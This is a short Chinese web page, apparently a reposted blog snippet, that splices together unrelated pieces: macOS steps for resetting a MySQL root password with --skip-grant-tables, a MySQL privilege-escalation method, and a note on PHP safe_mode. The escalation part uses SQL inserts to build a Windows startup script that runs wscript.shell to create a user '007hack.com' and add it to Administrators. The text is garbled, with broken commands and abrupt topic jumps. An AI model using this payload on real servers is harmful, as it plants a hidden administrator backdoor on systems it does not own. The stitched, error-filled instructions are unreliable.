1.在终端输入下面命令关闭正在运行的mysql,如果msyql没有运行可以跳过,需要输入mysql的密码。如果mysql密码忘记了,可以直接通过系统偏好设置里面关闭!
/usr/local/mysql/bin/mysqladmin-u root-p shutdown
2.进入mysql的bin目录执行如下命令
$cd /usr/local/mysql/bin
$sudo su
之后输入管理员密码会看到
sh-3.2#
3.之后我们输入下面命令以安全模式运行mysql
sh-3.2#./mysqld_safe --skip-grant-tables &
4.回到终端点击Command + N 重新打开一个终端
输入
mysql-u-root
mysql 5.1版本以上,必须把udf文件放到mysql安装目录下的lib/plugin下才能创建自定义函数,mysql into dumpfile并不能创建文件夹,所以mysql 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:create table a (cmd text)
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " )
insert into a values ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0) " )
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0) " )
php安全模式:safe_mode=on|off
方法:
1,启用safe_mode指令,将在共享环境中使用PHP时限制可能有危险的语言特性;
2,将safe_mode是指为布尔值on来启用,或者设置为禁用off。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)